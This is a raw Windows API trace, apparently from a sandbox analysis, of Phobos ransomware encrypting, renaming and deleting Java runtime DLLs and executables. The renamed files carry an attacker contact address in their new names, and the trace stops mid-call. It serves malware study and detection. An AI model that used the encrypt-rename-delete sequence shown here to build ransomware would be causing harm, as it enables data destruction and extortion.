CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0182.138] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0182.138] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0182.138] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0182.139] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d18d0) returned 1 [0182.139] CryptSetKeyParam (hKey=0x1d18d0, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0182.139] ReadFile (in: hFile=0x2e4, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x39840, lpOverlapped=0x0) returned 1 [0182.148] CryptEncrypt (in: hKey=0x1d18d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x39850, dwBufLen=0x39850 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x39850) returned 1 [0182.148] WriteFile (in: hFile=0x2cc, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x39850, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x39850, lpOverlapped=0x0) returned 1 [0182.151] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d1950) returned 1 [0182.152] CryptSetKeyParam (hKey=0x1d1950, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0182.152] CryptEncrypt (in: hKey=0x1d1950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40, dwBufLen=0x40 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40) returned 1 [0182.152] CryptDestroyKey (hKey=0x1d1950) returned 1 [0182.152] WriteFile (in: hFile=0x2cc, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0xf2, lpOverlapped=0x0) returned 1 [0182.152] CryptDestroyKey (hKey=0x1d18d0) returned 1 [0182.152] CloseHandle (hObject=0x2e4) returned 1 [0182.152] CloseHandle (hObject=0x2cc) returned 1 [0182.152] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll")) returned 1 [0182.155] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0182.155] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0182.156] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=185920) returned 1 [0182.156] CloseHandle (hObject=0x2cc) returned 1 [0182.156] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll")) returned 0x20 [0182.156] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0182.156] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0182.156] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0182.156] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0182.156] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0182.157] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d1710) returned 1 [0182.157] CryptSetKeyParam (hKey=0x1d1710, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0182.157] ReadFile (in: hFile=0x2cc, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x2d640, lpOverlapped=0x0) returned 1 [0182.166] CryptEncrypt (in: hKey=0x1d1710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x2d650, dwBufLen=0x2d650 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x2d650) returned 1 [0182.167] WriteFile (in: hFile=0x2e4, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x2d650, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x2d650, lpOverlapped=0x0) returned 1 [0182.170] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d1a50) returned 1 [0182.170] CryptSetKeyParam (hKey=0x1d1a50, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0182.170] CryptEncrypt (in: hKey=0x1d1a50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40, dwBufLen=0x40 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40) returned 1 [0182.170] CryptDestroyKey (hKey=0x1d1a50) returned 1 [0182.170] WriteFile (in: hFile=0x2e4, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0xf2, lpOverlapped=0x0) returned 1 [0182.170] CryptDestroyKey (hKey=0x1d1710) returned 1 [0182.170] CloseHandle (hObject=0x2cc) returned 1 [0182.170] CloseHandle (hObject=0x2e4) returned 1 [0182.170] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll")) returned 1 [0182.173] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0182.173] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0182.173] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=18496) returned 1 [0182.173] CloseHandle (hObject=0x2e4) returned 1 [0182.173] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll")) returned 0x20 [0182.173] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0182.173] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0182.173] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0182.173] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0182.173] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0182.174] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d14d0) returned 1 [0182.174] CryptSetKeyParam (hKey=0x1d14d0, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0182.174] ReadFile (in: hFile=0x2e4, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x4840, lpOverlapped=0x0) returned 1 [0182.186] CryptEncrypt (in: hKey=0x1d14d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x4850, dwBufLen=0x4850 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x4850) returned 1 [0182.186] WriteFile (in: hFile=0x2cc, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x4850, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x4850, lpOverlapped=0x0) returned 1 [0182.187] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d16d0) returned 1 [0182.187] CryptSetKeyParam (hKey=0x1d16d0, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0182.187] CryptEncrypt (in: hKey=0x1d16d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40, dwBufLen=0x40 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40) returned 1 [0182.187] CryptDestroyKey (hKey=0x1d16d0) returned 1 [0182.188] WriteFile (in: hFile=0x2cc, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0xf2, lpOverlapped=0x0) returned 1 [0182.188] CryptDestroyKey (hKey=0x1d14d0) returned 1 [0182.188] CloseHandle (hObject=0x2e4) returned 1 [0182.188] CloseHandle (hObject=0x2cc) returned 1 [0182.188] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll")) returned 1 [0182.189] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0182.190] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0182.227] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=31296) returned 1 [0182.227] CloseHandle (hObject=0x2cc) returned 1 [0182.227] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll")) returned 0x20 [0182.227] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0182.228] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0182.228] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0182.228] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0182.228] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0182.229] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d1950) returned 1 [0182.229] CryptSetKeyParam (hKey=0x1d1950, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0182.229] ReadFile (in: hFile=0x2cc, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x7a40, lpOverlapped=0x0) returned 1 [0182.253] CryptEncrypt (in: hKey=0x1d1950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x7a50, dwBufLen=0x7a50 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x7a50) returned 1 [0182.253] WriteFile (in: hFile=0x2e4, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x7a50, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x7a50, lpOverlapped=0x0) returned 1 [0182.254] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d1450) returned 1 [0182.254] CryptSetKeyParam (hKey=0x1d1450, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0182.254] CryptEncrypt (in: hKey=0x1d1450, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40, dwBufLen=0x40 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40) returned 1 [0182.254] CryptDestroyKey (hKey=0x1d1450) returned 1 [0182.254] WriteFile (in: hFile=0x2e4, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0xf2, lpOverlapped=0x0) returned 1 [0182.254] CryptDestroyKey (hKey=0x1d1950) returned 1 [0182.254] CloseHandle (hObject=0x2cc) returned 1 [0182.255] CloseHandle (hObject=0x2e4) returned 1 [0182.255] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll")) returned 1 [0182.257] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0182.257] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0182.257] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=16448) returned 1 [0182.257] CloseHandle (hObject=0x2e4) returned 1 [0182.257] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe")) returned 0x20 [0182.257] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0182.257] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0182.258] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0182.258] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0182.258] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0182.258] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d1a90) returned 1 [0182.259] CryptSetKeyParam (hKey=0x1d1a90, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0182.259] ReadFile (in: hFile=0x2e4, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x4040, lpOverlapped=0x0) returned 1 [0182.274] CryptEncrypt (in: hKey=0x1d1a90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x4050, dwBufLen=0x4050 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x4050) returned 1 [0182.274] WriteFile (in: hFile=0x2cc, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x4050, lpOverlapped=0x0) returned 1 [0182.275] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d1a50) returned 1 [0182.275] CryptSetKeyParam (hKey=0x1d1a50, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0182.275] CryptEncrypt (in: hKey=0x1d1a50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40, dwBufLen=0x40 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40) returned 1 [0182.275] CryptDestroyKey (hKey=0x1d1a50) returned 1 [0182.275] WriteFile (in: hFile=0x2cc, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0xf2, lpOverlapped=0x0) returned 1 [0182.276] CryptDestroyKey (hKey=0x1d1a90) returned 1 [0182.276] CloseHandle (hObject=0x2e4) returned 1 [0182.276] CloseHandle (hObject=0x2cc) returned 1 [0182.276] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe")) returned 1 [0182.282] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0182.282] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0182.285] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=16448) returned 1 [0182.285] CloseHandle (hObject=0x2cc) returned 1 [0182.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe")) returned 0x20 [0182.285] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0182.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0182.285] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0182.285] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0182.285] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0182.308] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d1ad0) returned 1 [0182.308] CryptSetKeyParam (hKey=0x1d1ad0, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0182.308] ReadFile (in: hFile=0x2cc, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x4040, lpOverlapped=0x0) returned 1 [0182.549] CryptEncrypt (in: hKey=0x1d1ad0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x4050, dwBufLen=0x4050 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x4050) returned 1 [0182.550] WriteFile (in: hFile=0x2e4, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x4050, lpOverlapped=0x0) returned 1 [0182.551] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d19d0) returned 1 [0182.551] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0182.551] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40, dwBufLen=0x40 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40) returned 1 [0182.551] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0182.551] WriteFile (in: hFile=0x2e4, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: 